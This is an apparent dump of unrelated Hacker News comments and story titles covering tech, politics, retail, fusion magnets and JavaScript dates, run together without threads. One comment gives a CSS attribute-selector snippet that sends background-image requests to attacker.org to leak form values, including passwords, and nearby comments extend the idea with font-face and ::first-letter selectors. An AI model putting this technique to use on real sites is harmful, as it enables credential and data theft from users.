skysight-inc/HackerNews huggingface dataset:
What would stop Dell, HP, and Lenovo from banding together and telling Microsoft that they will be installing Linux? Two things.

First, there is no appreciable demand in the consumer market for Linux, and there very likely will never be. I don't mean to antagonize Linux aficionados, but that's not the fault of the Evil Empire of Redmond. So, it's simply not worth it for these companies to bother. It's not a "market failure" because a fringe group of consumers are inconvenienced. You make this sound like an orphan drug.

Second, and more importantly, Dell, HP, and Lenovo are not free to combine and stand up to Microsoft. U.S. antitrust laws would shut that down immediately. In other words, government interference is contributing to this problem you're lamenting. That's not a "market failure" either -- it's a political failure.

As to established, profitable companies "having more options," as you say; it's just as easily said that smaller, newer companies are more nimble and able to spot undeveloped, unsatisfied niches in consumer demand. That's called competition -- sometimes the puncher wins, and sometimes the boxer wins.

And, finally, I never said that no one would ever try to "abuse" the consumer. What I'm saying is that there is always the threat of competition acting as a corrective.
What if making other people's lives makes yours better as a byproduct? Or vice versa - what if by doing things to make your life better they could be applied to make other people's lives better?

Why seek to control anything? Why not exploit it to make everyone's lives better?
http://www.newyorker.com/tech/elements/how-a-raccoon-became-...
> A process is a goofy, unfortunately loaded name for an independent unit of execution. It is not an OS process, and it is not an OS thread.

It's such a small thing, but I do get bored of having to explain that unfortunate naming. Now I just say 'actor' or 'Erlang process' then clarify that's not the same as a process, or thread/LWP. It's like how system can mean 'kernel space' (performance tools) or 'service management' (systemd).
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In a more general sense this can be applied to any form of crowdsourcing. How can open source software work with a bunch of strangers adding code? How can citizen scientists provide accurate data? How can airbnb provide a good hospitality service? How can uber be safe and on time?

It's all just our natural prejudice towards people who aren't "qualified" or experienced. Humans are pretty terrible at judging qualification. Either they'll use some irrational subconscious criteria like the person dressing appropriately or appearing confident, or they'll rely on faulty measurements like scores on some test or having some sort of certification. Sure these are all useful to some extent but we have to start realizing that design has a limit, especially when you enter fields governed by things other than hard science.
Off-topic: I couldn't find anything online about Benjy's, aside from the HBR article. Anyone know what's going on?
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... and in any case, evolution stops at the neck.
Why didn't you submit this in the usual way, putting the URL in the URL box?
I'm not familiar enough with the data to say what the explanation might be. These folks are, though:

http://www.le-telegraphe.ch/docus/warming.pdf

So if you're interested in the latest, reading that is probably a good start. It looks to me like there's a lot more than just satellite data to examine.
Sinai plane crash: 'External influence' caused crash
Using AI to hire the right programmer
I haven't dived deep in it, but we tried an OpenCL program in a FPGA and we couldn't even make it work: OpenCL support is at version 1.0 (no vectors, no barriers) without double precision numbers. And, from what I've heard, the performance is not that good.
Dude... refactor that shit. There is no place in today's development world that a 1500 line function is okay :P
That warning just stops the font from being visible to the victim.

I'm pretty sure the requests still go to the attacker.
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The by-integers constructor accepts overflow on any of the input values and adjusts accordingly:

> new Date(2015,10,30)
Mon Nov 30 2015 00:00:00 GMT+0000 (GMT Standard Time)
> new Date(2015,10,31)
Tue Dec 01 2015 00:00:00 GMT+0000 (GMT Standard Time)
> new Date(2015,10,32)
Wed Dec 02 2015 00:00:00 GMT+0000 (GMT Standard Time)
> new Date(2015,10,320)
Thu Sep 15 2016 00:00:00 GMT+0100 (GMT Daylight Time)
> new Date(2015,10,01,23,59)
Sun Nov 01 2015 23:59:00 GMT+0000 (GMT Standard Time)
> new Date(2015,10,01,23,590)
Mon Nov 02 2015 08:50:00 GMT+0000 (GMT Standard Time)
Somebody who's been there. It is often just as bad (worse even?) on the hardware side where I worked for a while. Although I should add there was also a lot of corruption of sorts, the kind where those trying to build their little empires will make fraudulent claims and use classifying things as a way to hide their empire building.
No data on this matter, but when a politician can say obvious lies in front of, sometimes literary, millions of people and look comfortable about that, it says something about him as a human being. I for one, couldn't do that.
Power law, exponential... Was using the parent comment's term but we mean the same thing here.
exactly this. Beacause https://en.wikipedia.org/wiki/Milgram_experiment
BAE invests in hypersonic engine designer
The problem with this whole argument is that is supposes the self-driving car has allowed itself to get into the situation in the first place.

For example, the cliff / people scenario suggests that the car was unable to see the problem until it was too late.

Obviously, the answer it to make sure that the sensor range makes these situations almost impossible. There will still be an inevitable situation of some sort, but I suggest it won't be quite the simplistic 'moral' problem that is constantly raised.
Remove the frustration of writing automation using nightwatch.js
I'm shocked that people continue to "showroom" items. The local Best Buy has a terrible selection of items and the employees don't know any more about the products than I do. It doesn't make any sense to go to Best Buy for anything at all - there is almost literally zero value added by a big chain electronics store.
The Beginner's Guide to DevOps
If possible, get an internship, or placement, or something. You seem to be quantitative, so send a million emails / LinkedIn requests to people in charge of quantitative things and be fast to follow-up. Practice and theory are aligned, but getting to the nuts-and-bolts of a few practical, current problems can be a great education. Even something seemingly simple, like constructing a proxy for an index, is practical and skills learnt applicable.

Focus on getting the foot in the door, as long as you ace the above, that's enough academically. Your academic drive (having mastered the above) should be enough to problem-solve and push forward.
Oslo to be carless by 2019
This is my recollection as well. I and everyone I knew thought it was the bees knees. I'm sure they had trouble with getting money and scaling and bad-faith editors, but the basic idea of the project was and is thought of as awesome.
It has a huge advantage of brand recognition, which means it's often the first result people click on and the first page someone links to if they think their readers might want a term defined. You know it's probably not the best description of the topic, but it will tend to give a text-based answer that tend to strike a reasonable balance between length and detail, be easy to navigate, have input from both sides of the debate if there is a prominent debate, and definitely won't try to install malware on your computer or play video in your face.

For reasons related to the above, afaik Google has never tried to nerf its prominence in search results, unlike profit-seeking content farms. That's probably an underestimated reason for its SEO success as well.
I, too, judge peoples' employability based on whether or not they've committed a series of dicks in a lighthearted Github repo. :P
Not to absolve the Germans in any way, but the French, Swedish and US automobile industry was caught with this kind of cheating software 15 years before the Germans. It doesn't seem to be a nationality thing. http://www.transportenvironment.org/publications/cycle-beati...
No Unicode, no graphical characters for ASCII art. Sad.
Summarizing a complex property into a single numerical value is very useful and not silly. For example, temperature is a numerical summary of huge number of molecular motions.

More on this here: http://slatestarcodex.com/2014/08/11/does-the-glasgow-coma-s...
"The research appeared to reinforce the societal view that men don’t talk about suicidal thoughts because they don’t want to worry family or friends."

Yeah, just another symptom of the whole "gotta be macho or else I'm not a real man(tm)" phenomenon which kills men in more ways than just suicide. Men also don't go to the doctor or confide in others for emotional support as much, instead opting to "man up" directly into a shorter lifespan than women.

Women egg men into this by overtly preferring brutish unexpressiveness as it's "more masculine", but at the end of the day it's mostly men bullying each other starting from birth when this code is violated. Men are expected to rarely, if ever, dip into their emotional support structure-- this makes it largely useless. You're just expected to deal with it, repress those emotions, and put on a brave face to carry on.

Aside from machismo and being discouraged from getting help from anyone, men are frequently burdened by the responsibility to provide for their family, which is considered their primary (only) purpose. If a man loses his job, it's an affront to his worth as a human being. This is why middle aged men frequently kill themselves when they lose their job or are having trouble paying off their house; they suffer deeply and largely silently for perceived failures of manhood. The suicidal want an escape from their suffering, and as I've said before, there's really no way for men to ease their suffering in an acceptable way. Drugs and whatever are helpful, but ultimately aren't enough.
Its either a made up company for the case study, or pseudonym for best buy. The case study teaching notes refer to best buy instead of "benjy's".
I'm finding the font size is too small on mobile - generally you want to go a little bigger on mobile.
Portable Hacking with a RasPi and Kali Linux
I'm not sure they will have that problem (80% of users requesting deletes returning) again.
you could combine this with ::first-letter and custom selectors for each item of interest to get more specific data from targeted page elements...

If there was a way to target n-th letter in css, you could also get the full plaintext of an element with a huge number of font-face / selector combinations
How long would a trip to Mars take?
Keep. I would add another couple pixels of padding to the left and right of the site though when on the newsfeed page.
We did one of his puzzles while we were in Denver too and had a blast. He even took some time after to discuss some of the tech.
Don't remember this either. I distinctly remember using it on recommendation of my older cousins for elementary school essays and the teachers loved everything I wrote.
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agreed, an accurate in store inventory listing on retailers' websites are vital for this to work. Nothing more frustrating then doing research online, getting to the store to find out they don't actually have the item in stock, or cant't find it. Then its straight onto an online shop - and not the brick and mortar retailers.
To be fair, self-editing your own wikipedia entry with exaggerated terminology as an early stage startup is highly understandable in the grand scheme of things. Self-editing your own PhD credentials seems to be a step or two beyond that kind of behavior, haha :)
Whats wrong with its GDP? The PPP per capita is right around Sweden, a little above average for a first world country. Why should it be higher?

I agree that internet should be much better than it currently is though, yet still far from bad. Australias internet made me really sad when lived there... maybe everything feels good in comparison to that.
the first video claims a magnetic field strength of 2.5 Tesla(o) roughly that of an MRI(i)

can anyone speak to sort of considerations that lead to this value? 2.5T seems insignificant considering the events it will be confining

how sensitive is the field to magnetic interactions outside of the device?

(o) https://youtu.be/lyqt6u5_sHA?t=301
(i) https://en.wikipedia.org/wiki/Tesla_(unit)#Examples
You have completely destroyed your company. And now you seem hell bent on destroying your own reputation. If this wasn't so fucked up, it would be sad.
half a dozen threads with message passing

On a single-CPU no-MMU machine, message passing looks very similar to a function call.
They don't let you use urls. To use images in their custom stylesheet you have to upload it to reddit, then use a special code or something, that gets replaced with the image url.
rule (11) Every old idea will be proposed again
Samsung Sells More Phones – But for Less Money
Wikipedia is what convinced everyone that you could "crowd-source" everything. That inevitably spawned all sorts of doomed experiments. But the only ones who considered Wikipedia a "doomed experiment" were those who had a vested interest in that being true.
News Corp subsidiary to snap up iProperty for $534M
+1 this is a critical feature for this tool to be of any use.
There's no might about it.

This would definitely be illegal in the UK.
Well, you are saying (correctly, IMHO) that for users doing a search, without previous knowledge of what are the best sources of information on a particular subject, will choose Wikipedia in a list of possible links for the reasons you mention.

On these assumptions I don't see any reason why Google should "nerf" its results, since they effectively present what the user is most likely to be looking for :)
I can think of a few things that you just need to see or feel.

I was shopping for a monitor and all the reviews on Amazon are great but I can't see the difference on my current monitor or what it actually looks like despite all the specs listed.

I did buy it on Amazon but only after I saw the actual differences in store.
Just throw the gui operations under a single global lock. No deadlocks, any thread can update gui.
An Interesting approach would be to use it as a GIF or video by using some distance formular to sort all the changes in the least changing way.
How Economist Milton Friedman Predicted Bitcoin
Why the Rugby World Cup Was a Cyber and Commjacking Nightmare
I like when government "wants" to solve some problem and instantiate a committee... it straight away means that they won't do a thing.
Amazon's Cloud Monopoly
What UK laws are being broken?

EDIT: I'm not saying it's okay. I'm just asking what law is being broken.
Claiming that everyone criticizing them is a competitor or a banned user seems to cross the line from overly defensive to paranoid.
Now you can create Windows 10 apps without writing a line of code
I feel somewhat the opposite. The problem, as I see it, is the more people involved the more difficult it is to refute. It's the idea that the more people say it the more true it becomes. Never mind the blatant disregard for hard facts with articles based on subjective opinions in certain topics, Wikipedia is not an objective source of information to me. Sure, I use it occasionally for generic stuff but I also pay attention to the listed sources. I read them for myself not trusting the people that created the article on Wikipedia.
Pompous and condescending comment without any specific criticism.
I'm a fan. There are definitely some problems (like bad margins and such) but it's better than viewing the site with the desktop styling, which incidentally is a bar that many major sites fail to clear with their own mobile styling!
Ignore the nitpicking, this is a dramatic improvement.
Facebook getting employees to switch to Android
I didn't say that all attempts to summarise a complex system in a single number are silly - just that intelligence is such a multi-faceted and ill-understood area that, in my opinion, evaluating people based on a single number is silly.

NB I say that as someone who got a very high IQ test result - which didn't exactly convince me that IQ tests are a good idea....
Disregarding that it's not a solution to the DoD's problem as such, does Ada/SPARK have merit for writing embedded software?

I am coincidentally researching if I could rewrite parts of a personal project in Ada (from C) to improve reliability, and so far have failed to conclude either way.
Keep please and thank you for working on this!

This is much more readable on Android/Chrome Moto G, will try more later.
Ask HN: Noticed any changes in YouTube sidebar suggestions?
From today Youtube have been giving out video suggestions solely on basis of my current location. Anyone else had similar experience today?
Large analysis finds that low-fat diets have low impact
From what I've seen it's usually even less sophisticated than that: simply add a long list of "criticisms", "objections" or "controversy" related to the subject matter and provided they have links to notionally reliable sources they'll make the subject matter look more contentious than it is, and tend to survive attempts to remove per UNDUE WEIGHT because who's to argue with a whole list of reliable sources? For bonus points, delete universally understood facts for not having a citation or for merely paraphrasing the source.

The sourcing policy of course is most skewed towards the cranks when the subject matter is simply too esoteric or plain ridiculous for any reliable source to have ever bothered attempting a detailed critique.
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Didn't they blame two engineers for it?

http://www.reuters.com/article/2015/10/08/volkswagen-emissio...
article is old and problem is older, research is there if you look hard enough, but until egress and crowd safety gets into building codes don't count on architects to implement the known solutions

http://arxiv.org/pdf/0906.0224v1.pdf

http://www.pmcorp.com/Portals/5/_Downloads/Simulation%20of%2...
Indeed. It will save you from needing inspiration to debug it as well. It's much less cognitive load when you break those crazy things into understandable parts.
Customers Want to Be Able to Text You
When was the last time you've seen pure Assembly? Also, JavaScript namespacing shenanigans & stuff... :P.
It's not a defense. It encourages lower-level employees to come forward with incriminating information about higher-ups, even if if would also incriminate themselves. It's the best way to get them to roll over on their bosses.
Johnny Cash and Linus Torvalds, separated at birth.

https://www.google.com/search?tbm=isch&q=johnny%20cash%20fin...
That's part of the beauty of the stellarator design - you need a comparatively weak (2.5T is still an unholy field) field to maintain containment.
Of course Africa’s apes have come from Europe - Africans can't have developed that themselves !
I have never 'spammed' livecoding.tv nor have I ever been warned or banned by their support team (or by any online company for that matter). I don't have a website. I'm not in Indiana, either. (I decided to reply to my own comment, as I don't want to agitate the situation by directly replying to the other comment).
The heart animation is nice but it is overflowing, it goes out of the viewport on a mobile screen whereas the text fits in perfectly.
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Steady magnets can't get much stronger than that. The very strongest steady magnets, purpose built, are in the 40-70 tesla range. I believe the limit is set by the break down of normal matter. Higher field strengths can be achieved, but only for fractions of a second and are general destructive.
As a Brit I can remember the real High Street Benjy's experience - unbelievably cheap sandwiches that seemed great at first, but, by Thursday, you never wanted to eat one of their sandwiches ever again!

https://en.wikipedia.org/wiki/Benjys

Sadly they did go bust and people started going elsewhere for their cheap meal deals.
> Stellarators are hellishly complex and expensive.

True but that is largely true of the first of anything complex and expensive since it's Development Costs + Construction costs / 1 until they build another.
Did you feel earth Quake?
OMG!.... did you feel Quakes???
Another interesting way of getting attribute values is using...

[value*=a] {
background-image: url('attacker.org/lolz.png?a');
}

[value*=b] {
background-image: url('attacker.org/lolz.png?b');
}

It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.
I'd buy more locally if there was more locally to buy. I know it's a small town, but the availability of seemingly common electronics is atrocious. I can't locate, let alone buy, a monitor with greater than 1920x1080 resolution within 100 miles. A keyboard with decent mechanical switches, any form of non-toy quadcopter, even a Raspberry Pi/Arduino/Beaglebone? Somewhere in Seattle or Phoenix, if I'm lucky.

I'd kill to have a Fry's in the state.

About the only form of electronics I'm set for in-town is headphones, and that's just because Headroom was built up from this city.
> there was no word for “million” in Old English, a medieval predecessor of the language you’re currently reading

This sentence is a fantastic example of why translation is so hard!
Have you also checked out Numba? JIT and type inference, but native to CPython and designed for numerics:

http://numba.pydata.org
I'd look at this the other way round: everyone should now be aware that a computer is a series of processing units connected by network links whose latency is many times that of a register or cache access.

Some of those network links are labelled "PCIe" or "SATA", and some are labelled "Ethernet" or "DisplayPort", but they're all high-speed serial links. A PCIe lane is only 8Gbit, comparable to 10Gbit ethernet.

This means that your computer "backplane" design can be de-constrained; you don't have to draw a hard distinction between elements in the same case and those in the case of the machine next to you in the rack.

A rotating disk is roughly able to saturate a 1Gb ethernet link. Maybe we should just go full SAN and put Ethernet connectors on the drives.
There's argument on Twitter currently raging between Nick Sutterer, creator of Trailblazer (alternative architecture for Rails apps) and Jose Valim, Elixir's creator [1].

The argument is focused on the premise from Nick that the Phoenix framework, built on Elixir, is simply a port of Rails to Elixir with a few extra features and thus suffers from the same problems. Mainly that all Rails apps lead to monolithic architectures.

Nick posted the above link.

[1] - https://twitter.com/apotonick/status/659966637236428800
That’s what the CEO of the US branch said.

Those "engineers" were the leading engineer of R&D and the leading engineer of Engine Design. Both board members.